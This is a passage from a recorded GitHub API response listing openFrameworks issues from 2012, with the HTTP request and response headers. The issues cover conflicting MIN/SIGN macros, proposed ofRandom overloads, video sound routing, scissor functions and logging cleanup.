{return b < a ? (b) : float(a);}\r\n\r\ninline float MIN(const float &a, const double &b)\r\n {return b < a ? float(b) : (a);}\r\n\r\ntemplate\r\ninline T SIGN(const T &a, const T &b)\r\n\t{return b >= 0 ? (a >= 0 ? a : -a) : (a >= 0 ? -a : a);}\r\n\r\ninline float SIGN(const float &a, const double &b)\r\n\t{return b >= 0 ? (a >= 0 ? a : -a) : (a >= 0 ? -a : a);}\r\n\r\ninline float SIGN(const double &a, const float &b)\r\n\t{return (float)(b >= 0 ? (a >= 0 ? a : -a) : (a >= 0 ? -a : a));}\r\n```\r\n\r\nAnd ofConstants is included in almost every oF file\r\n\r\ni'd suggest moving to inline functions and presume that compiler optimisations makes these 2 options equivalent in terms of performance, but that inline wins out for compatability","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1007","comments":10,"milestone":null,"number":1007,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1007","assignee":null,"title":"bug #defines in ofConstants conflict with other libraries","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-29T15:31:18Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3438233,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-01T13:02:37Z","body":"Propose the following functions:\r\n\r\n```c++\r\nofVec2f ofRandom(const ofVec2f&);\r\nofVec3f ofRandom(const ofVec3f&);\r\nofVec2f ofRandom(const ofVec2f& range1, const ofVec2f& range2);\r\nofVec3f ofRandom(const ofVec3f& range1, const ofVec3f& range2);\r\n```\r\n\r\nalso lots of other candidates for this, e.g. `ofClamp`, `ofMap`, etc\r\nsome clever templating possible?\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1005","comments":12,"milestone":null,"number":1005,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1005","assignee":null,"title":"feature ofRandom(ofVec3f) ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-29T06:32:03Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3432042,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-18T08:47:08Z","body":"I have a simple app that plays video files. I try to route (under windows) its output using Jack and Vitual Audio Cable but none can access it. I am just using the basic functionality of ofVideoPlayer, this is the class that deals with the video playing\r\n\r\n\r\n\t#include \"oscVPlayer.h\"\r\n\t#include \"ofMain.h\"\r\n\r\n\r\n\r\n\toscVPlayer::oscVPlayer()\r\n\t{\r\n\t\t\treset();\r\n\t}\r\n\r\n\tvoid oscVPlayer::reset()\r\n\t{ //defaults to fullscreen\r\n\t\t\tw = NULL;\r\n\t\t\th = NULL;\r\n\t\t\tx = 0;\r\n\t\t\ty = 0;\r\n\t\t\tdonereported = false;\r\n\t\t\tloopflag = OF_LOOP_NONE;\r\n\t\t\t\r\n\t\t\tcol.r = 0;\r\n\t\t\tcol.g = 0;\r\n\t\t\tcol.b = 0;\r\n\t\t\tcol.a = 255;\r\n\r\n\t\t\tif (isLoaded())\r\n\t\t{\r\n\t\t\t\t\tsetFrame(0);\r\n\t\t\t\t\tsetUseTexture(1);\r\n\t\t\t\t\tsetPaused(0);\r\n\t\t\t\t\tsetLoopState(OF_LOOP_NORMAL);\r\n\t\t\t\t\tsetSpeed(1);\r\n\t\t\t\t\tsetVolume(255);\r\n\t\t\t\t\tstop();\r\n\t\t}\r\n\t}\r\n\r\n\r\n\tvoid oscVPlayer::setUpVideo(string movie)\r\n\t{\r\n\t\t\tif (movie != \"none\")\r\n\t\t\t{\r\n\t\t\t\t\tif ( loadMovie(movie) )\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\tprintf(\"movie loaded\\n\");\r\n\t\t\t\t\t\t\tofVideoPlayer::update();\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\tprintf(\"CANNOT load movie\\n\");\r\n\t\t\t\t\t}\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t\tprintf(\"movie parameter is none, cannot load it\\n\");\r\n\t\t\t}\r\n\t}\r\n\r\n\r\n\r\n\r\n\tvoid oscVPlayer::setLoop()\r\n\t{\r\n\t\t\tsetLoopState(loopflag); // go back to your state. otherwise play resets it to loop ON\r\n\t}\r\n\r\n\r\n\r\n\r\n\tvoid oscVPlayer::resetSize()\r\n\t{\r\n\t\t\tw = NULL;\r\n\t\t\th = NULL;\r\n\t}\r\n\r\n\r\n\tvoid oscVPlayer::draw()\r\n\t{\r\n\t\tif (isLoaded())\r\n\t\t{\r\n\t\t\t if (col.a < 255) ofEnableAlphaBlending();\r\n\t\t\t\tofSetColor(col.r,col.g,col.b, col.a);\r\n\t\t\t\tofVideoPlayer::update();\r\n\t\t\t\tif (w==NULL && h==NULL)\r\n\t\t\t\t{\r\n\t\t\t\t\t\tofVideoPlayer::draw(x, y);\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t\t\tofVideoPlayer::draw(x, y, w, h);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif (col.a < 255) ofDisableAlphaBlending(); \r\n\t\t}\r\n\t}\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1001","comments":2,"milestone":null,"number":1001,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1001","assignee":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"title":"OF app sound out not available from Jack","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-02-27T14:59:34Z","state":"open","user":{"url":"https://api.github.com/users/enrike","avatar_url":"https://secure.gravatar.com/avatar/cc2adbc6d91bf2288f34f60a547a82cd?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"cc2adbc6d91bf2288f34f60a547a82cd","login":"enrike","id":710785},"id":3401755,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-29T14:42:36Z","body":"// scissor\r\nvoid ofBeginScissor(ofRectangle &r);\r\nvoid ofBeginScissor(ofPoint &p, float w, float h);\r\nvoid ofBeginScissor(float x, float y, float w, float h);\r\nvoid ofEndScissor();\r\n\r\n\r\nthere is a problem with ofFBO due to the flip. I do not think that there is a way around it sooo just scale -1\r\n\r\nalso: \r\nextra ; removed \r\nlibs/openFrameworks/utils/ofUtils.cpp","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/993","comments":11,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":993,"html_url":"https://github.com/openframeworks/openFrameworks/issues/993","assignee":null,"title":"Of scissors","labels":[],"closed_at":null,"created_at":"2012-02-26T21:35:55Z","state":"open","user":{"url":"https://api.github.com/users/vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","id":149997},"id":3393466,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/993","patch_url":"https://github.com/openframeworks/openFrameworks/pull/993.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/993.diff"}},{"updated_at":"2012-02-25T20:25:00Z","body":"i think this is because ofDrawBitmapString draws the quads in the wrong orientation. but i'm guessing it works in FBOs... so if we switch the order it will stop working in FBOs.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/987","comments":0,"milestone":null,"number":987,"html_url":"https://github.com/openframeworks/openFrameworks/issues/987","assignee":null,"title":"GL_CULL_FACE breaks ofDrawBitmapString()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-02-25T20:25:00Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3387163,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-22T23:34:17Z","body":"Some logging messages don't really tell where they were triggered. Someone needs to go through them and add information as to what module triggered the message. \r\n@danomatika has already volunteered to do this some time.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/985","comments":16,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":985,"html_url":"https://github.com/openframeworks/openFrameworks/issues/985","assignee":null,"title":"Make logging messages more informative","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-02-25T19:41:58Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3386914,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-11T18:31:55Z","body":"There's a lot of logging printfs in the core addons. These should be replaced by appropriate ofLog calls.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/984","comments":5,"milestone":null,"number":984,"html_url":"https://github.com/openframeworks/openFrameworks/issues/984","assignee":null,"title":"Replace printf() occurences by ofLog() in the core addons","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-02-25T19:36:51Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3386889,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-02-27T13:35:34Z","body":"`ofVec2f` has a function called `average` which takes an array of `ofVec2f` and calculates the centroid. it is not static, rather it overwrites its own `x` and `y` with the average. \r\n\r\nthis is a little weird. `average` should be static, or at least be *returning* the average rather than assigning to self.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/976","comments":4,"milestone":null,"number":976,"html_url":"https://github.com/openframeworks/openFrameworks/issues/976","assignee":null,"title":"ofVec2f::average has unexpected/clumsy behaviour","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-25T03:45:02Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":3382990,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-02-25T02:47:26Z","body":"Dummy issue to ensure that the 0076 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/972","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/10","number":10,"title":"0076 Release","due_on":"2012-10-29T07:00:00Z","closed_issues":0,"open_issues":1,"created_at":"2012-02-25T02:46:26Z","state":"open","description":"","id":88838},"number":972,"html_url":"https://github.com/openframeworks/openFrameworks/issues/972","assignee":null,"title":"0076 Release tracking issue","labels":[],"closed_at":null,"created_at":"2012-02-25T02:47:26Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3382766,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-02-25T02:47:37Z","body":"Dummy issue to ensure that the 0075 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/971","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/9","number":9,"title":"0075 Release","due_on":"2012-09-24T07:00:00Z","closed_issues":0,"open_issues":1,"created_at":"2012-02-25T02:46:15Z","state":"open","description":"","id":88837},"number":971,"html_url":"https://github.com/openframeworks/openFrameworks/issues/971","assignee":null,"title":"0075 Release tracking issue","labels":[],"closed_at":null,"created_at":"2012-02-25T02:47:05Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3382764,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=5 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4939'), ('content-length', '39838'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"a7bfe812cbaa85fbb708d70f4d883fac"'), ('date', 'Tue, 29 May 2012 19:27:13 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-02-25T01:36:58Z","body":"Dummy issue to ensure that the 0080 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/970","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","number":8,"closed_issues":0,"title":"0080 Release","due_on":"2013-01-01T08:00:00Z","open_issues":3,"created_at":"2012-02-25T01:34:28Z","state":"open","description":"","id":88731},"number":970,"html_url":"https://github.com/openframeworks/openFrameworks/issues/970","assignee":null,"title":"0080 Release tracking issue","labels":[],"closed_at":null,"created_at":"2012-02-25T01:36:54Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3381982,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T01:36:37Z","body":"Dummy issue to ensure that the 0074 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/969","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/7","number":7,"closed_issues":0,"title":"0074 Release","due_on":"2012-08-27T07:00:00Z","open_issues":1,"created_at":"2012-02-25T00:41:17Z","state":"open","description":"","id":88728},"number":969,"html_url":"https://github.com/openframeworks/openFrameworks/issues/969","assignee":null,"title":"0074 Release tracking issue","labels":[],"closed_at":null,"created_at":"2012-02-25T01:36:37Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3381977,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-24T04:31:01Z","body":"right now if you try and scale/rotate/etc before calling ofBackgroundGradient, it will fail.\r\n\r\npeople generally call ofBackground at the top of draw() so it shouldn't be a huge issue... but it does make it a little 'fragile'.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/955","comments":0,"milestone":null,"number":955,"html_url":"https://github.com/openframeworks/openFrameworks/issues/955","assignee":null,"title":"ofBackgroundGradient needs to be billboarded","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-02-24T04:31:01Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3367910,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-23T19:12:08Z","body":"Hello, I get a weird error trying to compile the movieplayerexample under linux64 :\r\n\r\n> `.text._ZN11ofBaseVideoD2Ev' referenced in section `.text._ZN11ofBaseVideoD1Ev[non-virtual thunk to ofBaseVideo::~ofBaseVideo()]' of ../../../libs/openFrameworksCompiled/lib/linux64/libopenFrameworks.a(ofBaseTypes.o): defined in discarded section `.text._ZN11ofBaseVideoD2Ev[_ZN11ofBaseVideoD5Ev]' of ../../../libs/openFrameworksCompiled/lib/linux64/libopenFrameworks.a(ofBaseTypes.o)\r\n\r\nMy version of OF is 007, it used to work under 0062...\r\n\r\nWhat should I do ?\r\n\r\nThanks","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/933","comments":4,"milestone":null,"number":933,"html_url":"https://github.com/openframeworks/openFrameworks/issues/933","assignee":null,"title":"Problem with moviePlayerExample under linux64","labels":[],"closed_at":null,"created_at":"2012-02-23T15:46:06Z","state":"open","user":{"url":"https://api.github.com/users/agrosjea","avatar_url":"https://secure.gravatar.com/avatar/e52c167621119d58d03c586bb053a633?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e52c167621119d58d03c586bb053a633","login":"agrosjea","id":1466085},"id":3357855,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-23T05:13:24Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/931","comments":0,"milestone":null,"number":931,"html_url":"https://github.com/openframeworks/openFrameworks/issues/931","assignee":null,"title":"ofCamera is not aware of ofOrientation","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-02-23T05:13:24Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":3351646,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-23T05:12:47Z","body":"do we need the ofOrientation parameter in ofSetupPerspective?\r\n\r\nit applies the rotation but if ofSetOrientation hasn't been called before passing the same orientation the results are not the expected.\r\n\r\nto test it:\r\n\r\nofSetOrientation(OF_ORIENTATION_90_LEFT);\r\nofSetPerspective(ofGetWidth(), ofGetHeight(),OF_ORIENTATION_90_LEFT)\r\n\r\nworks as expected but calling only \r\n\r\nofSetPerspective(ofGetWidth(), ofGetHeight(),OF_ORIENTATION_90_LEFT)\r\n\r\napplies a weird rotation cause the values of ofGetWidth(), ofGetHeight() are still the default ones\r\n\r\nis there any case where it's useful to call setupPerspective with a different orientation that the window has?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/930","comments":0,"milestone":null,"number":930,"html_url":"https://github.com/openframeworks/openFrameworks/issues/930","assignee":null,"title":"ofSetupPerspective ofOrientation","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-23T05:12:47Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":3351643,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-23T04:19:48Z","body":"Currently ofGetLogLevel returns the global log level aka for the \"OF\" module. It would be nice to be able to get the log level for user modules via:\r\n\r\n ofLogLevel level = ofGetLogLevel(\"myLogModule\");\r\n\r\nIt would as simple as adding the module as a string variable with a default of \"OF\".\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/929","comments":0,"milestone":null,"number":929,"html_url":"https://github.com/openframeworks/openFrameworks/issues/929","assignee":null,"title":"ofGetLogLevel should also accept modules","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-02-23T04:19:48Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3351374,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-23T03:46:32Z","body":"Currently there is a ofBgColorPtr(), but maybe it's nice to have a ofGetBackground() that returns an ofColor object or a reference to one.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/928","comments":0,"milestone":null,"number":928,"html_url":"https://github.com/openframeworks/openFrameworks/issues/928","assignee":null,"title":"no ofGetBackground()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-23T03:46:32Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3351170,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-22T19:12:56Z","body":"ofGetViewportWidth/Height returns 0 is called in an object destructor, while ofGetWidth/Height do not. Could the ofGetViewport size be set to the ofGetWidth/Height size instead of 0 be default?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/926","comments":0,"milestone":null,"number":926,"html_url":"https://github.com/openframeworks/openFrameworks/issues/926","assignee":null,"title":"ofGetViewportWidth/Height returns 0 at startup","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-22T19:12:56Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3341020,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-22T00:28:08Z","body":"I noticed a few things when working with ofImage:\r\n\r\n* ofImage has a type variable for the image type but this is an int, as opposed to the ofImageType enum, so it's annoying to force convert ...\r\n* the width, height, & bpp variables are public, they should be protected with getters/setters\r\n* there isn't a getBytesPerPixel, you have to get the pixel reference then call getBytesPerPixel ...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/925","comments":0,"milestone":null,"number":925,"html_url":"https://github.com/openframeworks/openFrameworks/issues/925","assignee":null,"title":"ofImage has type as int, public vars, & missing getBPP, 